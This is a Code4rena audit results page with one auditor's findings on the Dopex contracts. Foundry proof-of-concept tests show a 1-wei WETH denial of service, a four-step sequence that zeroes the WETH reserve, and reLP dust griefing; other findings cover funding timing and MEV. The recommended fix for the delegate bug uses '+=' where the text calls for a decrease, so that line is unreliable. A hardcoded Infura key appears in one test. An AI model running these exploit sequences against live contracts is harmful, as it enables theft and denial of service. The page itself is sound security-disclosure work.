Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 103/189
Findings: 5
Award: $67.53
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
If WETH is sent to the VaultLP contract externally, options cannot be settled.
PerpetualAtlanticVaultLP
contains several accounting functions callable by PerpetualAtlanticVault
. subtractLoss()
is called in the vault's settle()
function to update accounting in the LP contract. However, subtractLoss()
requires that the contract's WETH balance is strictly equal to the new value.
function subtractLoss(uint256 loss) public onlyPerpVault { require( collateral.balanceOf(address(this)) == _totalCollateral - loss, "Not enough collateral was sent out" ); _totalCollateral -= loss; }
This can be exploited if the contract receives WETH outside of its accounting functions, for example if a malicious user sends 1 wei of WETH to PerpetualAtlanticVaultLP
.
The following foundry test illustrates this vulnerability.
PoC.t.sol
under /tests/perp-vault/
forge test --match-test test_poc_dos_settle -vvv
// File: PoC.t.sol // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import "forge-std/Test.sol"; import "forge-std/console.sol"; import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import { Setup } from "./Setup.t.sol"; contract PoC is ERC721Holder, Setup { address constant attacker = address(0x1337); function test_poc_dos_settle() public { // Setup: give attacker weth and add liquidity for options weth.mint(attacker, 1); vaultLp.deposit(1 ether, address(this)); // User purchases options (, uint256 option1) = vault.purchase(0.01 ether, address(this)); (, uint256 option2) = vault.purchase(0.01 ether, address(this)); // Make options settle-able priceOracle.updateRdpxPrice(100); // Make sure user can settle the first option uint256[] memory optionIds = new uint256[](1); optionIds[0] = option1; vault.settle(optionIds); // Attacker sends 1 wei of WETH to vaultLp, messing up accounting vm.prank(attacker); weth.transfer(address(vaultLp), 1); // User cannot settle now optionIds[0] = option2; vault.settle(optionIds); } }
The second option cannot be settled and the subcall fails with "Not enough collateral was sent out"
.
Tracing the call graph, we can see that the LP contract has 0.997 WETH while the loss being subtracted is 0.0015 WETH. The Vault LP contract clearly has enough WETH and the call shouldn't fail.
This bricked state cannot be recovered from. PerpetualAtlanticVaultLP
cannot be redeployed without permanent loss of the locked WETH since no proxies are used.
Manual review, Foundry
Remove the require()
in subtractLoss()
:
function subtractLoss(uint256 loss) public onlyPerpVault { _totalCollateral -= loss; }
Invalid Validation
#0 - c4-pre-sort
2023-09-09T06:27:08Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:14:06Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T19:37:42Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: 0xrafaelnicolau
Also found by: 0x111, 0xCiphky, 0xMosh, 0xWaitress, 0xc0ffEE, 0xkazim, 0xnev, 0xvj, ABAIKUNANBAEV, Aymen0909, Baki, ElCid, HChang26, HHK, Inspex, Jorgect, Kow, Krace, KrisApostolov, LFGSecurity, MiniGlome, Nyx, QiuhaoLi, RED-LOTUS-REACH, Talfao, Toshii, Vagner, Viktor_Cortess, Yanchuan, _eperezok, asui, atrixs6, bart1e, bin2chen, carrotsmuggler, chaduke, chainsnake, deadrxsezzz, degensec, dethera, dimulski, dirk_y, ether_sky, gizzy, glcanvas, grearlake, gumgumzum, halden, hals, kodyvim, koo, ladboy233, lanrebayode77, max10afternoon, minhtrng, mussucal, nobody2018, peakbolt, pontifex, qbs, ravikiranweb3, rvierdiiev, said, tapir, ubermensch, volodya, wintermute, yashar, zaevlad, zzebra83
0.1468 USDC - $0.15
fhttps://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L975-L990 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L995-L1008 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1080-L1124 (https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L486 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L803
Withdrawing a delegate position, then syncing the reserves causes the accounted WETH reserve to be decreased, which leads to the inability to defend against a lower Rdpx/ETH depeg.
RdpxV2Core
contains functionality that allows a user to create a WETH delegate position with addToDelegate()
and adjust its size with withdraw()
. Creating a delegate position increases the accounting variable totalWethDelegated
. However, withdrawing does not decrease it.
// File: RdpxV2Core.sol function sync() external { for (uint256 i = 1; i < reserveAsset.length; i++) { uint256 balance = IERC20WithBurn(reserveAsset[i].tokenAddress).balanceOf( address(this) ); if (weth == reserveAsset[i].tokenAddress) { balance = balance - totalWethDelegated; // <-- here } reserveAsset[i].tokenBalance = balance; } emit LogSync(); }
This accounting error can be leveraged to decrease the contract's accounted WETH reserve below the actual reserve amount in the sync()
function.
Several functionalities that depend on utilizing the WETH reserve are affected, including:
The attacker can set the WETH reserve to 0 in an atomic transaction with 4 steps:
addToDelegate()
.withdraw()
.sync()
. This sets the WETH reserve to 0.The following Foundry test illustrates the attack.
PoC.t.sol
in `/tests/rdpxV2-core/.forge test --match-test test_poc_lowerDepegDos -vvv
.// File: PoC.t.sol // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import "forge-std/Test.sol"; import "forge-std/console.sol"; import { Setup } from "./Setup.t.sol"; contract PoC is Setup { function logState(string memory label) private view { uint256 balance = weth.balanceOf(address(rdpxV2Core)); uint256 userBalance = weth.balanceOf(address(this)); (,uint256 reserve,) = rdpxV2Core.getReserveTokenInfo("WETH"); uint256 delegated = rdpxV2Core.totalWethDelegated(); console.log("--%s--", label); console.log("Contract: balance=%s reserve=%s delegated=%s", balance, reserve, delegated); console.log("User: balance=%s", userBalance); console.log(""); } function test_poc_lowerDepegDos() public { // Before: Some WETH in reserves rdpxV2Core.bond(1 ether, 0, address(this)); logState("Before attack"); // Attack // 0. Obtain WETH (flashloan) // 1. Add to delegate an amount equal to the reserves (, uint256 wethReserve,) = rdpxV2Core.getReserveTokenInfo("WETH"); uint256 delegateId = rdpxV2Core.addToDelegate( wethReserve, 10e8 ); // 2. Withdraw, totalWethDelegated is not decreased (bug) rdpxV2Core.withdraw(delegateId); // 3. Sync: reserve becomes 0 because totalWethDelegated was not decreased rdpxV2Core.sync(); logState("After attack"); // 4. Result: lowerDepeg() will fail because weth reserve is 0 } }
// Output Running 1 test for tests/rdpxV2-core/PoC.t.sol:PoC [PASS] test_poc_lowerDepegDos() (gas: 1091002) Logs: --Before attack-- Contract: balance=245000000000000000 reserve=245000000000000000 delegated=0 User: balance=18699193750000000000000 --After attack-- Contract: balance=245000000000000000 reserve=0 delegated=245000000000000000 User: balance=18699193750000000000000
As can be seen, the attacking user's balance is unchanged. The WETH reserve is erroneously set to 0.
Manual review, Foundry
Add the missing accounting step in withdraw()
:
totalWethDelegated += _amount;
DoS
#0 - c4-pre-sort
2023-09-09T06:29:02Z
bytes032 marked the issue as duplicate of #2186
#1 - c4-judge
2023-10-20T17:55:32Z
GalloDaSballo changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-10-20T18:01:01Z
GalloDaSballo marked the issue as satisfactory
#3 - c4-judge
2023-10-21T07:38:55Z
GalloDaSballo changed the severity to 3 (High Risk)
🌟 Selected for report: 0xTheC0der
Also found by: 0Kage, 0xDING99YA, 0xHelium, 0xbranded, 836541, ABA, Kow, QiuhaoLi, SpicyMeatball, T1MOH, __141345__, alexfilippov314, ayden, bart1e, bin2chen, chaduke, degensec, jasonxiale, joaovwfreire, nirlin, peakbolt, pep7siup, rvierdiiev, tnquanghuy0512
15.9268 USDC - $15.93
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L237-L241 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L405-L459 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L462-L496 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L502-L524 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L563-L569
PerpetualAtlanticVault
handles funding of its options in discrete consecutive epochs. By default the epoch length is 7 days, however the admin can set it to any length using updateFundingDuration()
.
Note how the nextFundingPaymentTimestamp()
is calculated
// ... return genesis + (latestFundingPaymentPointer * fundingDuration);
If the funding duration is decreased, then nextFundingPaymentTimestamp()
will be in the past, thus funding will have to be paid for some extra epochs in order to fast-forward the timestamp. This violates the expectations of option holders and lenders.
If the funding duration is increased, then nextFundingPaymentTimestamp()
will be farther in the future, thus users with outstanding options will be able to keep them freely without having to pay funding. This is to detriment of the protocol.
Manual review
Disable the functionality to change the funding duration.
Timing
#0 - c4-pre-sort
2023-09-08T06:29:03Z
bytes032 marked the issue as duplicate of #980
#1 - c4-pre-sort
2023-09-11T08:22:34Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T11:11:27Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: degensec
Also found by: 0x3b, 0xnev, HChang26, KmanOfficial, QiuhaoLi, T1MOH, WoolCentaur, Yanchuan, ayden, bart1e, jasonxiale, kutugu, mert_eren, nirlin, peakbolt, peanuts, pep7siup, qpzm, tapir, ubermensch, wintermute
32.2747 USDC - $32.27
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L202-L307
ReLPContract
contains logic that removes WETH-RDPX liquidity from Uniswap V2, swaps some amount WETH to RDPX and re-adds the liquidity.
The calculation logic for the amount of tokens to swap is unreliable and sometimes reverts or leaves dust WETH in the reLP contract. WETH cannot be recovered unless another reLP operation is triggered. However, since reLP-ing is accessible to all users in the bonding logic in RdpxV2Core
, the contract may be griefed on an ongoing basis, intentional or not.
The presence of excess WETH also means that the total value of the LP decreases abnormally after each reLP operation.
The following Foundry test demonstrates the vulnerability.
PoC.t.sol
under tests/
forge test --match-test test_poc_relp_dust -vvv
// File: PoC.t.sol // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import "forge-std/Test.sol"; import "forge-std/console.sol"; import { Math } from "@openzeppelin/contracts/utils/math/Math.sol"; import {IERC20WithBurn} from "contracts/interfaces/IERC20WithBurn.sol"; import {MockToken} from "contracts/mocks/MockToken.sol"; import {MockRdpxEthPriceOracle} from "contracts/mocks/MockRdpxEthPriceOracle.sol"; import {ReLPContract} from "contracts/reLP/ReLPContract.sol"; import {RdpxReserve} from "contracts/reserve/RdpxReserve.sol"; import {IUniswapV2Factory} from "contracts/uniswap_V2/IUniswapV2Factory.sol"; import {IUniswapV2Router} from "contracts/uniswap_V2/IUniswapV2Router.sol"; import {IUniswapV2Pair} from "contracts/uniswap_V2/IUniswapV2Pair.sol"; contract MockUniV2Amo { function sync() external {} function approve(address token, address to, uint256 amount) external { IERC20WithBurn(token).approve(to, amount); } } contract MockRdpxV2Core { function sync() external {} } contract PoC is Test { string internal constant ARBITRUM_RPC_URL = "https://arbitrum-mainnet.infura.io/v3/c088bb4e4cc643d5a0d3bb668a400685"; uint256 internal constant BLOCK_NUM = 24023149; // 2022/09/13 MockToken weth; MockToken rdpx; MockRdpxV2Core core; RdpxReserve reserve; MockUniV2Amo amo; MockRdpxEthPriceOracle oracle; IUniswapV2Factory factory; IUniswapV2Router router; IUniswapV2Pair pair; ReLPContract re; function setUp() public { uint256 forkId = vm.createFork(ARBITRUM_RPC_URL, BLOCK_NUM); vm.selectFork(forkId); weth = new MockToken("WETH", "weth"); rdpx = new MockToken("RDPX", "rdpx"); core = new MockRdpxV2Core(); reserve = new RdpxReserve(address(rdpx)); amo = new MockUniV2Amo(); oracle = new MockRdpxEthPriceOracle(); factory = IUniswapV2Factory(0xc35DADB65012eC5796536bD9864eD8773aBc74C4); router = IUniswapV2Router(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); pair = IUniswapV2Pair( factory.createPair(address(rdpx), address(weth)) ); re = new ReLPContract(); re.setAddresses( address(rdpx), address(weth), address(pair), address(core), address(reserve), address(amo), address(oracle), address(factory), address(router) ); re.setreLpFactor(1e8); } function test_poc_relp_dust() public { weth.mint(address(this), 1000e18); rdpx.mint(address(this), 1000e18); rdpx.mint(address(reserve), 10e18); weth.approve(address(router), type(uint256).max); rdpx.approve(address(router), type(uint256).max); // Initial liquidity in the pair (give to amo) router.addLiquidity( address(rdpx), address(weth), 100e18, 30e18, 100e18, 30e18, address(amo), block.timestamp ); // pool is at 1 rdpx = 0.3 eth oracle.updateRdpxPrice(0.3e8); amo.approve(address(pair), address(re), type(uint256).max); logInfo("Before relp"); (uint112 tokenAReserve,,) = pair.getReserves(); re.reLP(Math.sqrt(uint256(tokenAReserve)) * 250000); logInfo("After relp"); } function logInfo(string memory label) private view { console.log(label); uint256 lpBalanceAmo = pair.balanceOf(address(amo)); uint256 lpBalanceRelp = pair.balanceOf(address(re)); uint256 rdpxBalanceCore = rdpx.balanceOf(address(core)); uint256 wethBalanceRelp = weth.balanceOf(address(re)); console.log(" lp: amo=%s, relp=%s", lpBalanceAmo, lpBalanceRelp); console.log(" rdpx: core=%s", rdpxBalanceCore); console.log(" weth: relp=%s", wethBalanceRelp); console.log(); } }
// Output Running 1 test for tests/ReLpDustPoc.t.sol:ReLpDustPoc [PASS] test_poc_relp_dust() (gas: 738137) Logs: Before relp lp: amo=54772255750516610345, relp=0 rdpx: core=0 weth: relp=0 After relp lp: amo=54685393436705721902, relp=0 rdpx: core=316227765999999999 weth: relp=67290285273869
Manual review, Optimal One-sided Supply to Uniswap 🦄
There is an analytic formula to provide one-sided liquidity to Uniswap V2 without leaving dust. This formula can be adapted to ReLP
's use-case such that reLPFactor
specifies what part of the WETH make-up of the position will be swapped to RDPX according to the formula.
Still, up to 2 wei of dust may be left after the operation, so the remainding RDPX and WETH should be sent to the core contract.
Uniswap
#0 - c4-pre-sort
2023-09-10T10:23:21Z
bytes032 marked the issue as duplicate of #1286
#1 - c4-pre-sort
2023-09-11T15:38:23Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-10T17:52:40Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-18T12:12:16Z
GalloDaSballo marked the issue as selected for report
🌟 Selected for report: juancito
Also found by: 0xDING99YA, 0xTiwa, 0xkazim, 0xnev, ABA, ArmedGoose, Aymen0909, Bauchibred, Evo, IceBear, KrisApostolov, MohammedRizwan, Nikki, QiuhaoLi, T1MOH, Toshii, WoolCentaur, Yanchuan, __141345__, asui, bart1e, carrotsmuggler, catellatech, chaduke, codegpt, deadrxsezzz, degensec, dethera, dirk_y, erebus, ether_sky, gjaldon, glcanvas, jasonxiale, josephdara, klau5, kodyvim, ladboy233, lsaudit, minhquanym, parsely, peakbolt, pep7siup, rvierdiiev, said, savi0ur, sces60107, tapir, ubermensch, volodya, zzebra83
19.1724 USDC - $19.17
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV2LiquidityAmo.sol#L231 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV2LiquidityAmo.sol#L279 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV2LiquidityAmo.sol#L342 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV3LiquidityAmo.sol#L190 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV3LiquidityAmo.sol#L250 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/amo/UniV3LiquidityAmo.sol#L295
Uniswap V2/V3 operations do not have an external deadline and may be vulnerable to MEV.
All of the 6 affected operations set a deadline in the future. This makes them vulnerable to a common MEV attack vector:
Even without malicious extraction, a transaction may be pending arbitrarily long in the mempool due to gas conditions and end up being executed at unforeseen sub-optimal market conditions.
LP-in, LP-out and swap operations are vulnerable to various MEV activities, such as sandwich attacks, arbitrage, Reverse LP Sandwich Arbitrage, JIT Liquidity.
Manual review, Medium articles (linked)
Since these are admin-only operations, add a deadline
parameter to each function. When calling these function, set the deadline to a reasonably short time from now, for example 5 minutes.
MEV
#0 - c4-pre-sort
2023-09-08T05:14:50Z
bytes032 marked the issue as duplicate of #2217
#1 - c4-pre-sort
2023-09-08T05:49:37Z
bytes032 marked the issue as duplicate of #898
#2 - c4-pre-sort
2023-09-11T08:54:18Z
bytes032 marked the issue as sufficient quality report
#3 - c4-judge
2023-10-17T17:39:19Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#4 - c4-judge
2023-10-20T18:18:54Z
GalloDaSballo marked the issue as grade-b